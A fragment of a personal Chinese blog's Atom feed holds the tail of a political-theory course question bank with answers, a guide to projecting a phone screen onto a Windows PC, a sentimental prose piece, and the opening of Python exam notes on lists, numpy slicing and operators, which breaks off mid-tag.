多边是舞台<br>正确答案：ABCD<br><strong>4、随着“四个全面”战略布局的深入贯彻和实施，新的更大的()将会不断地创造和释放出来。</strong><br>A. 制度红利<br>B. 发展潜力<br>C. 人口压力<br>D. 创新压力<br>正确答案：AB<br><strong>5、中国走和平发展的道路，必须高举()旗帜。</strong><br>A. 和平<br>B. 发展<br>C. 合作<br>D. 共赢<br>正确答案：ABCD<br><strong>6、下面属于经济全球化的负面影响的有( )。</strong><br>A. 增多了全球共同面临的社会经济问题<br>B. 加剧了国际竞争，增加了国际风险<br>C. 对国家主权造成了一定冲击<br>D. 对发展中国家的民族工业造成了一定冲击</p><p>正确答案：ABCD<br><strong>7、人类生活在同一个地球村，各国()的程度空前加深，国际社会日益成为一个你中有我、我中有你的命运共同体。</strong><br>A. 相互联系<br>B. 相互依存<br>C. 相互合作<br>D. 相互促进<br>正确答案：ABCD<br><strong>8、实现生态上的清洁美丽，要坚持走()之路，平衡推进 2030 年可持续发展议程</strong><br>A. 绿色<br>B. 低碳<br>C. 循环<br>D. 可持续发展<br>正确答案：ABCD </p><p><strong>9、新型国际关系树立的新理念是()。</strong><br>A. 零和<br>B. 双赢<br>C. 共赢<br>D. 多赢</p><p>正确答案：BCD </p><h3 id="三-判断题（12-题，12-0-分）-1"><a href="#三-判断题（12-题，12-0-分）-1" class="headerlink" title="三.判断题（12 题，12.0 分）"></a>三.判断题（12 题，12.0 分）</h3><p><strong>1、下面属于我国发展面临国际方面的挑战是国际经济环境短期内难以好转</strong></p><p>正确答案： 对<br><strong>2、多极化会加重霸权主义和强权政治。</strong></p><p>正确答案：  错</p><p><strong>3、经济全球化会抑制各国的竞争。</strong><br>正确答案： 错</p><p><strong>4、我国经济增长的动力应转移到依靠技术进步和劳动力素质。</strong></p><p>正确答案： 对<br><strong>5、世界正在进入以信息产业为主导的新经济发展时期。</strong></p><p>正确答案： 对<br><strong>6、要按照周边是关键、多边是首要、大国是基础、发展中国家是舞台的外交工作布局，发展与各国的友好关系。</strong></p><p>正确答案： 错<br><strong>7、推进“一带一路”建设是中国扩大和深化对外开放的需要，但不是加强和亚欧非拉及世界各国互利合作的需要。</strong></p><p>正确答案： 错<br><strong>8、主要大国拥有更多参与地区安全事务的权利，但同时也应该承担维护地区安全的主要责任。</strong></p><p>正确答案： 错<br><strong>9、文明差异是世界冲突的一大根源，这是无法避免的。</strong></p><p>正确答案： 错<br><strong>10、推进“一带一路”建设是中国扩大和深化对外开放的需要，不是欧美各国的需要。</strong></p><p>正确答案： 错<br><strong>11、构建人类命运共同体政治上，要相互尊重、平等协商。</strong></p><p>正确答案： 对<br><strong>12、构建人类命运共同体政治上，要走对抗而不对话、结盟而不结伴的国与国交往新路。</strong></p><p>正确答案： 错</p><h2 id="第十四章"><a href="#第十四章" class="headerlink" title="第十四章"></a>第十四章</h2><h3 id="一-单选题（2-题，2-0-分）"><a href="#一-单选题（2-题，2-0-分）" class="headerlink" title="一.单选题（2 题，2.0 分）"></a>一.单选题（2 题，2.0 分）</h3><p><strong>1、中国特色社会主义事业的领导核心是()。</strong><br>A. 人民群众<br>B. 中国共产党<br>C. 各革命阶级的联合<br>D. 知识分子<br>正确答案：B<br><strong>2、推进党的建设新的伟大工程，必须牢牢把握的主线是()。</strong><br>A. 加强党的长期执政能力建设、先进性和纯洁性建设<br>B. 加强党的先进性和纯洁性建设<br>C. 加强党的纯洁性建设<br>D. 加强党的执政能力建设</p><p>正确答案：A </p><h3 id="二-多选题（5-题，5-0-分）"><a href="#二-多选题（5-题，5-0-分）" class="headerlink" title="二.多选题（5 题，5.0 分）"></a>二.多选题（5 题，5.0 分）</h3><p><strong>1、新时代中国共产党的历史使命，就是统揽()。</strong><br>A. 伟大斗争<br>B. 伟大工程<br>C. 伟大事业<br>D. 伟大梦想<br>正确答案：ABCD<br><strong>2、党的重大决策都要严格按照程序办事，充分发扬民主，广泛听取意见和建议，做到()。</strong><br>A. 科学决策B. 民主决策C. 依法决策D. 全体决策</p><p>​正确答案：ABC<br><strong>3、党是最高政治领导力量，这是()。</strong><br>A. 马克思主义政党的基本要求<br>B. 马克思主义政党学说的基本原则<br>C. 对党领导革命、建设和改革历史经验的深刻总结<br>D. 推进伟大事业的根本保证<br>正确答案：ABCD<br><strong>4、确保党始终总揽全局协调各方，必须()。</strong><br>A. 增强政治意识、大局意识、核心意识、看齐意识<br>B. 坚持和完善党的领导的体制机制<br>C. 坚持党的民主集中制原则<br>D. 自觉维护党中央权威和集中统一领导，自觉在思想上政治上行动上同党中央保持高度一致。<br>正确答案：ABCD<br><strong>5、中国共产党是世界上最大的政党，领导着 14 亿人的社会主义大国，必须增强()以及增强依法执政本领、群众工作本领、狠抓落实本领、驾驭风险本领。</strong><br>A. 学习本领<br>B. 政治领导本领<br>C. 改革创新本领<br>D. 科学发展本领<br>正确答案：ABCD </p><h3 id="三-判断题（5-题，5-0-分）-1"><a href="#三-判断题（5-题，5-0-分）-1" class="headerlink" title="三.判断题（5 题，5.0 分）"></a>三.判断题（5 题，5.0 分）</h3><p><strong>1、中国共产党的领导是中国特色社会主义最本质的特征。</strong></p><p>正确答案： 对<br><strong>2、中国特色社会主义是科学社会主义基本原理同当代中国实践和时代特征相结合的产物。</strong></p><p>正确答案： 对<br><strong>3、马克思主义是我国立党立国的根本指导思想。</strong></p><p>正确答案： 对<br><strong>4、坚持党总揽全局、协调各方的领导核心地位，是党作为最高政治力量在治国理政中的重要体现。</strong></p><p>正确答案： 对<br><strong>5、中国共产党执政后的一项根本建设是执政能力建设。</strong></p><p>正确答案： 对</p>]]>
    </content>
    <id>https://wmcoder.net/posts/d40a.html</id>
    <link href="https://wmcoder.net/posts/d40a.html"/>
    <published>2021-07-05T04:00:00.000Z</published>
    <summary>
      <![CDATA[<h1 id="毛概考试题库（801道）"><a href="#毛概考试题库（801道）" class="headerlink" title="毛概考试题库（801道）"></a>毛概考试题库（801道）</h1><blockquote>
<p>关注微信公众号“<strong>未]]>
    </summary>
    <title>毛概考试题库（801道）</title>
    <updated>2021-07-05T04:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>未名</name>
    </author>
    <category term="技术杂谈" scheme="https://wmcoder.net/categories/%E6%8A%80%E6%9C%AF%E6%9D%82%E8%B0%88/"/>
    <category term="技术杂谈" scheme="https://wmcoder.net/tags/%E6%8A%80%E6%9C%AF%E6%9D%82%E8%B0%88/"/>
    <content>
      <![CDATA[<h1 id="手机投屏到电脑（Windows）"><a href="#手机投屏到电脑（Windows）" class="headerlink" title="手机投屏到电脑（Windows）"></a>手机投屏到电脑（Windows）</h1><blockquote><p>这篇文章写于 2021 年，Windows 与手机系统的菜单名称可能已经变化。旧截图存储服务已失效，现保留文字步骤。</p></blockquote><h2 id="操作方法"><a href="#操作方法" class="headerlink" title="操作方法"></a>操作方法</h2><h3 id="PC-端"><a href="#PC-端" class="headerlink" title="PC 端"></a>PC 端</h3><ul><li>使用快捷键 <strong>Win + I</strong> 打开设置面板，依次进入“系统”和“投影到此电脑”。</li></ul><h3 id="移动端连接"><a href="#移动端连接" class="headerlink" title="移动端连接"></a>移动端连接</h3><ul><li>在 WLAN 设置中找到无线投屏并开启。</li><li>电脑弹出连接所需的 PIN 后，在手机上输入即可完成连接。</li></ul><h2 id="遇到的问题"><a href="#遇到的问题" class="headerlink" title="遇到的问题"></a>遇到的问题</h2><ul><li>问题：Windows 10 的连接设置里找不到“投影到此电脑”。</li><li>处理方法：依次进入“设置”“应用”“应用和功能”“添加功能”，搜索并安装“无线显示器”。安装完成后重启电脑再尝试连接。</li></ul>]]>
    </content>
    <id>https://wmcoder.net/posts/b0f6.html</id>
    <link href="https://wmcoder.net/posts/b0f6.html"/>
    <published>2021-06-26T16:32:00.000Z</published>
    <summary>
      <![CDATA[<h1 id="手机投屏到电脑（Windows）"><a href="#手机投屏到电脑（Windows）" class="headerlink" title="手机投屏到电脑（Windows）"></a>手机投屏到电脑（Windows）</h1><blockquote>
<p>这]]>
    </summary>
    <title>手机投屏到电脑</title>
    <updated>2021-06-26T16:32:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>未名</name>
    </author>
    <category term="心灵天窗" scheme="https://wmcoder.net/categories/%E5%BF%83%E7%81%B5%E5%A4%A9%E7%AA%97/"/>
    <category term="心灵天窗" scheme="https://wmcoder.net/tags/%E5%BF%83%E7%81%B5%E5%A4%A9%E7%AA%97/"/>
    <content>
      <![CDATA[<h2 id="余秋雨《我在等你》"><a href="#余秋雨《我在等你》" class="headerlink" title="余秋雨《我在等你》"></a>余秋雨《我在等你》</h2><pre class="language-none"><code class="language-none">我藏不住秘密也藏不住忧伤，正如我藏不住爱你的喜悦，藏不住分离时的彷徨。我就是这样坦然，你舍得伤，就伤。如果有一天，你要离开我，我不会留你，我知道你有你的理由；如果有一天，你说还爱我，我会告诉你，其实我一直在等你；如果有一天，我们擦肩而过，我会停住脚步，凝视你远去的背影，告诉自己 那个人我曾经爱过。或许人一生可以爱很多次，然而总有一个人可以让我们笑得最灿烂，哭得最透彻，想得最深切。炊烟起了， 我在门口等你。 夕阳下了， 我在山边等你。叶子黄了， 我在树下等你。 月儿弯了， 我在十五等你。 细雨来了， 我在伞下等你。 流水冻了，我在河畔等你。 生命累了， 我在天堂等你。我们老了， 我在来生等你。</code></pre><hr><p><strong><code>   </code></strong> &emsp;假如你想要一件东西，就放它走。它若能回来找你，就永远属于你；它若不回来，那根本就不是你的。如果真的有一天，某个回不来的人消失了，某个离不开的人离开了，也没关系。时间会把最正确的人带到你的身边，在此之前，你所要做的，是好好的照顾自己。无论生活得多么艰难，最后你总会找到一个让你心甘情愿傻傻相伴的人。你可以沉默不语，不管我的着急；你可以不回信息，不顾我的焦虑；你可以将我的关心，说成让你烦躁的原因；你可以把我的思念，丢在角落不屑一顾。你可以对着其他人微笑，你可以给别人拥抱，你可以对全世界好，却忘了我一直的伤心。我们一起等我们的最后，最后的最后。</p>]]>
    </content>
    <id>https://wmcoder.net/posts/1d3d.html</id>
    <link href="https://wmcoder.net/posts/1d3d.html"/>
    <published>2021-06-26T04:00:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="余秋雨《我在等你》"><a href="#余秋雨《我在等你》" class="headerlink" title="余秋雨《我在等你》"></a>余秋雨《我在等你》</h2><pre class="language-none"><code class="langu]]>
    </summary>
    <title>余秋雨《我在等你》</title>
    <updated>2021-06-26T04:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>未名</name>
    </author>
    <category term="python知识" scheme="https://wmcoder.net/categories/python%E7%9F%A5%E8%AF%86/"/>
    <category term="python" scheme="https://wmcoder.net/tags/python/"/>
    <category term="python知识" scheme="https://wmcoder.net/tags/python%E7%9F%A5%E8%AF%86/"/>
    <content>
      <![CDATA[<h1 id="Python考试基础知识"><a href="#Python考试基础知识" class="headerlink" title="Python考试基础知识"></a>Python考试基础知识</h1><h2 id="一、python的基本语法（包括包的导入"><a href="#一、python的基本语法（包括包的导入" class="headerlink" title="一、python的基本语法（包括包的导入)"></a>一、python的基本语法（包括包的导入)</h2><p><a href="https://blog.csdn.net/qq_44275213/article/details/117927792" target="_blank" rel="noopener">Python的基本语法汇总</a></p><h2 id="二、序列类型的数据结构-重点考察列表及其基本方法"><a href="#二、序列类型的数据结构-重点考察列表及其基本方法" class="headerlink" title="二、序列类型的数据结构(重点考察列表及其基本方法)"></a>二、序列类型的数据结构(重点考察列表及其基本方法)</h2><h3 id="1、前言"><a href="#1、前言" class="headerlink" title="1、前言"></a>1、前言</h3><blockquote><p>序列顾名思义就是数据按照顺序排列，这个顺序实际上就是数据在内存中的顺序排列。序列是Python中最基本的数据结构。序列中的每个元素都分配一个数字即它的位置或索引。序列都可以进行的操作有索引、截取(切片)、加、乘、成员检查。除此之外,Python已经内置确定序列的长度以及确定最大和最小的元素的方法如list中的Max（）方法等。Python内置序列类型最常见的是列表、元组、字典和集合。</p></blockquote><h3 id="2、list-内容简介"><a href="#2、list-内容简介" class="headerlink" title="2、list 内容简介"></a>2、list 内容简介</h3><h4 id="2-1-list简介"><a href="#2-1-list简介" class="headerlink" title="2.1 list简介"></a>2.1 list简介</h4><p>列表(list)是最常用的Python数据类型,列表的数据项可以不需要具有相同的类型。列表可以类比于其他语言的数组,但功能比数组强大的多。<br>创建一个列表，只要把逗号分隔的不同的数据项使用方括号括起来即可。实例如下:</p><pre class="language-python" data-language="python"><code class="language-python">list1 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'中国'</span>，<span class="token string">'美国'</span>，<span class="token string">'加拿大'</span><span class="token punctuation">]</span></code></pre><h4 id="2-2-list常用函数"><a href="#2-2-list常用函数" class="headerlink" title="2.2 list常用函数"></a>2.2 list常用函数</h4><p>list列表的基本函数如表1 Python 列表的方法和内置函数所示：　</p><p>　表1 Python列表的方法和内置函数</p><table><thead><tr><th>方法</th><th>功能</th></tr></thead><tbody><tr><td>list. append(obj)</td><td>在列表末尾添加新的对象</td></tr><tr><td>list. count(obj)</td><td>统计某个元素在列表中出现的次数</td></tr><tr><td>list. extend(seq)</td><td>在列表末尾一次性追加另一 个序列中的多个值(用新列表扩展原来的列表)</td></tr><tr><td>list. index(obj)</td><td>从列表中找出某个值第一个匹配项的索引位置</td></tr><tr><td>list. insert(index, obj)</td><td>将对象插人列表</td></tr><tr><td>list. pop(index)</td><td>移除列表中的一个元素(默认最后一一个元素),并且返回该元素的值</td></tr><tr><td>list. remove( obj)</td><td>移除列表中某个值的第一个匹配项</td></tr><tr><td>list, reverse( )</td><td>反转列表中元素顺序</td></tr><tr><td>list. sort([func])</td><td>对原列表进行排序</td></tr><tr><td>len(list)</td><td>内置函数,列表元素个数</td></tr><tr><td>max(list)</td><td>内置函数，返回列表元素最大值</td></tr><tr><td>min(list)</td><td>内置函数,返回列表元素最小值</td></tr><tr><td>list(seq)</td><td>内置函数，将元组转换为列表</td></tr></tbody></table><h4 id="2-3-list常见操作"><a href="#2-3-list常见操作" class="headerlink" title="2.3 list常见操作"></a>2.3 list常见操作</h4><p>列表对+和*的操作符与字符串相似。+号用于组合列表，*号用于重复列表。Python列表的操作符如表2所示。　</p><p>表2 Python列表的操作符</p><table><thead><tr><th>Python表达式</th><th>描 述</th><th>结 果</th></tr></thead><tbody><tr><td>len([1, 2, 3，4])</td><td>长度</td><td>4</td></tr><tr><td>[1,2, 3+4]+ [4, 5, 6]</td><td>组合</td><td>[1,2,3,4,4,5,6]</td></tr><tr><td>[‘Hi!’] * 4</td><td>重复</td><td>[‘Hi!’, ‘Hil!’, ‘Hil!’, Hi!]</td></tr><tr><td>1 in[1, 2, 3]</td><td>元素是否存在于列表中</td><td>True</td></tr><tr><td>for x in[1, 2, 3]: print(x, end&#x3D;””)</td><td>迭代</td><td>1 2 3</td></tr></tbody></table><h4 id="2-4-list定义多维列表"><a href="#2-4-list定义多维列表" class="headerlink" title="2.4 list定义多维列表"></a>2.4 list定义多维列表</h4><p>多维列表可以看做是列表的在列表，即列表的嵌套，也可以理解为多维列表的每一个元素也是一个列表，如：二维列表的元素是一维列表，三维列表的元素是二维列表。<br>如定义一个二维列表：</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token builtin">list</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">[</span><span class="token string">'1'</span><span class="token punctuation">,</span><span class="token string">'2'</span><span class="token punctuation">,</span><span class="token string">'3'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">]</span></code></pre><p>再如定义一个3行6列的二维列表，并打印出来：</p><pre class="language-python" data-language="python"><code class="language-python">rows <span class="token operator">=</span> <span class="token number">3</span>cols <span class="token operator">=</span> <span class="token number">6</span>matrix <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">[</span><span class="token number">0</span> <span class="token keyword">for</span> col <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>cols<span class="token punctuation">)</span><span class="token punctuation">]</span> <span class="token keyword">for</span> row <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>rows<span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>rows<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">for</span> j <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>cols<span class="token punctuation">)</span><span class="token punctuation">:</span>        matrix<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">=</span> i<span class="token operator">*</span><span class="token number">3</span><span class="token operator">+</span>j        <span class="token keyword">print</span><span class="token punctuation">(</span>matrix<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token punctuation">,</span>end<span class="token operator">=</span><span class="token string">','</span><span class="token punctuation">)</span>    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'\n'</span><span class="token punctuation">)</span></code></pre><p>结果如图：<br><img src="/medias/legacy/img-blog.csdnimg.cn/aaeeedcb0440b834.png" alt="在这里插入图片描述" loading="lazy"></p><h2 id="三、索引切片（包括二维数组"><a href="#三、索引切片（包括二维数组" class="headerlink" title="三、索引切片（包括二维数组)"></a>三、索引切片（包括二维数组)</h2><pre class="language-python" data-language="python"><code class="language-python"><span class="token comment">#导入numpy模块</span><span class="token keyword">import</span> numpy <span class="token keyword">as</span> np<span class="token comment">#创建一维数组</span>a <span class="token operator">=</span> np<span class="token punctuation">.</span>arange<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">13</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token comment">#对一维数组进行修改形状 （4，3）</span>a <span class="token operator">=</span> a<span class="token punctuation">.</span>reshape<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">,</span><span class="token number">3</span><span class="token punctuation">)</span> <span class="token comment">#形成二维数组</span><span class="token keyword">print</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token comment">#索引的使用</span><span class="token comment">#获取第三行</span><span class="token keyword">print</span><span class="token punctuation">(</span>a<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token comment">#获取第二行第三列</span><span class="token keyword">print</span><span class="token punctuation">(</span>a<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token comment">#切片的使用 [行进行切片,列进行切片] [start:stop:step,start:stop:step]</span><span class="token comment">#获取所有行所有列</span><span class="token keyword">print</span><span class="token punctuation">(</span>a<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token punctuation">,</span><span class="token punctuation">:</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token comment">#获取所有行部分列 ，所有行第2列</span><span class="token keyword">print</span><span class="token punctuation">(</span>a<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token comment">#获取所有行部分列 ，所有行第1、2列</span><span class="token keyword">print</span><span class="token punctuation">(</span>a<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">:</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token comment">#获取部分行，所有列 ,获取奇数行所有列</span><span class="token keyword">print</span><span class="token punctuation">(</span>a<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token punctuation">:</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token comment">#获取部分行，部分列，获取奇数行，第1、2列</span><span class="token keyword">print</span><span class="token punctuation">(</span>a<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">:</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token comment">#坐标获取 [行，列]</span><span class="token comment">#获取第2行第3列</span><span class="token keyword">print</span><span class="token punctuation">(</span>a<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>a<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token comment">#同时获取不同行不同列，获取2行3列，和3行1列</span><span class="token keyword">print</span><span class="token punctuation">(</span>a<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span>a<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>np<span class="token punctuation">.</span>array<span class="token punctuation">(</span>a<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span>a<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment">#使用坐标</span><span class="token keyword">print</span><span class="token punctuation">(</span>a<span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token comment">#负索引的使用</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'最后一行'</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>a<span class="token punctuation">[</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'行倒序'</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>a<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>a<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span></code></pre><h2 id="四、字符串的方法与格式化"><a href="#四、字符串的方法与格式化" class="headerlink" title="四、字符串的方法与格式化"></a>四、字符串的方法与格式化</h2><p><a href="https://www.runoob.com/python3/python3-string.html" target="_blank" rel="noopener">Python字符串的方法与格式化</a></p><h2 id="五、循环与条件分支的应用"><a href="#五、循环与条件分支的应用" class="headerlink" title="五、循环与条件分支的应用"></a>五、循环与条件分支的应用</h2><h3 id="1、if条件分支"><a href="#1、if条件分支" class="headerlink" title="1、if条件分支"></a>1、if条件分支</h3><h4 id="1-1、单分支判断"><a href="#1-1、单分支判断" class="headerlink" title="1.1、单分支判断"></a>1.1、单分支判断</h4><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">if</span> <span class="token boolean">True</span><span class="token punctuation">:</span>    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'OK'</span><span class="token punctuation">)</span></code></pre><h4 id="1-2、双分支判断"><a href="#1-2、双分支判断" class="headerlink" title="1.2、双分支判断"></a>1.2、双分支判断</h4><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">if</span> <span class="token boolean">False</span><span class="token punctuation">:</span>    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'OK'</span><span class="token punctuation">)</span><span class="token keyword">else</span><span class="token punctuation">:</span>    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'NO'</span><span class="token punctuation">)</span></code></pre><h4 id="1-3、多条件多分支判断"><a href="#1-3、多条件多分支判断" class="headerlink" title="1.3、多条件多分支判断"></a>1.3、多条件多分支判断</h4><pre class="language-python" data-language="python"><code class="language-python">n<span class="token operator">=</span><span class="token number">10</span><span class="token keyword">if</span> n<span class="token operator">==</span><span class="token number">1</span><span class="token punctuation">:</span>    <span class="token keyword">print</span><span class="token punctuation">(</span>n<span class="token punctuation">)</span><span class="token keyword">elif</span> n<span class="token operator">==</span><span class="token number">2</span><span class="token punctuation">:</span>    <span class="token keyword">print</span><span class="token punctuation">(</span>n<span class="token punctuation">)</span><span class="token keyword">else</span><span class="token punctuation">:</span>    <span class="token keyword">print</span><span class="token punctuation">(</span>n<span class="token punctuation">)</span><span class="token keyword">while</span>循环n<span class="token operator">=</span><span class="token number">0</span><span class="token keyword">while</span> n<span class="token operator">&lt;</span><span class="token number">3</span><span class="token punctuation">:</span>    n<span class="token operator">+=</span><span class="token number">1</span>    <span class="token keyword">print</span><span class="token punctuation">(</span>n<span class="token punctuation">)</span></code></pre><h3 id="2、for循环"><a href="#2、for循环" class="headerlink" title="2、for循环"></a>2、for循环</h3><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">9</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> i<span class="token operator">!=</span><span class="token number">0</span><span class="token punctuation">:</span>        <span class="token keyword">if</span> i<span class="token operator">%</span><span class="token number">2</span><span class="token operator">==</span><span class="token number">0</span><span class="token punctuation">:</span>            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'%d是偶数'</span><span class="token operator">%</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">)</span></code></pre><h3 id="3、循环控制语句"><a href="#3、循环控制语句" class="headerlink" title="3、循环控制语句"></a>3、循环控制语句</h3><p>1、break<br>2、continue</p><h3 id="4、复杂条件及处理"><a href="#4、复杂条件及处理" class="headerlink" title="4、复杂条件及处理"></a>4、复杂条件及处理</h3><p>判断条件：变量、算术运算符、比较运算符、赋值运算符、逻辑运算符、位运算符、成员运算符、身份运算符。</p><h4 id="4-1、成员运算符"><a href="#4-1、成员运算符" class="headerlink" title="4.1、成员运算符"></a>4.1、成员运算符</h4><p>对于具有集合概念的对象如数字序列、字符串、列表、元组、字典，可以通过成员运算符进行快速判断。</p><ul><li>in：如果在指定的序列中找到值，则返回True</li><li>not in：如果在指定的序列中没有找到值，则返回True</li></ul><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">if</span> <span class="token number">2</span> <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">9</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'2在集合里'</span><span class="token punctuation">)</span></code></pre><h3 id="4-2、身份运算符：判断两个标识符（对象名）是否引用自一个对象，即指向的内存地址是否相同。"><a href="#4-2、身份运算符：判断两个标识符（对象名）是否引用自一个对象，即指向的内存地址是否相同。" class="headerlink" title="4.2、身份运算符：判断两个标识符（对象名）是否引用自一个对象，即指向的内存地址是否相同。"></a>4.2、身份运算符：判断两个标识符（对象名）是否引用自一个对象，即指向的内存地址是否相同。</h3><ul><li>is：判断两个标识符是否引用自一个对象，是返回True</li><li>is not：判断两个标识符是否引用自一个对象，不是返回True</li></ul><pre class="language-python" data-language="python"><code class="language-python">i<span class="token operator">=</span>t<span class="token operator">=</span><span class="token number">1</span><span class="token keyword">print</span><span class="token punctuation">(</span>i <span class="token keyword">is</span> t<span class="token punctuation">)</span></code></pre><h4 id="4-3、运算符优先级"><a href="#4-3、运算符优先级" class="headerlink" title="4.3、运算符优先级"></a>4.3、运算符优先级</h4><pre class="language-python" data-language="python"><code class="language-python">从高到低：指数（<span class="token operator">**</span>）按位翻转（～），数前的正号（<span class="token operator">+</span>）、负号（<span class="token operator">-</span>）乘（<span class="token operator">*</span>）、除（<span class="token operator">/</span>）、取模（<span class="token operator">%</span>）、取整（<span class="token operator">//</span>）加法（<span class="token operator">+</span>）、减法（<span class="token operator">-</span>）右移（<span class="token operator">>></span>）、左移（<span class="token operator">&lt;&lt;</span>）位与运算符（<span class="token operator">&amp;</span>）位异或（<span class="token operator">^</span>）、位或（<span class="token operator">|</span>）比较运算符（<span class="token operator">==</span>、<span class="token operator">!=</span>、<span class="token operator">&lt;</span>、<span class="token operator">></span>、<span class="token operator">>=</span>、<span class="token operator">&lt;=</span>）赋值运算符（<span class="token operator">=</span>、<span class="token operator">%=</span>、<span class="token operator">/=</span>、<span class="token operator">//=</span>、<span class="token operator">-=</span>、<span class="token operator">+=</span>、<span class="token operator">*=</span>、<span class="token operator">**=</span>）身份运算符（<span class="token keyword">is</span>、<span class="token keyword">is</span> <span class="token keyword">not</span>）成员运算符（<span class="token keyword">in</span>、<span class="token keyword">not</span> <span class="token keyword">in</span>）逻辑运算符（<span class="token keyword">not</span>、<span class="token keyword">or</span>、<span class="token keyword">and</span>）</code></pre><h2 id="六、ndarray的创建及其基本属性"><a href="#六、ndarray的创建及其基本属性" class="headerlink" 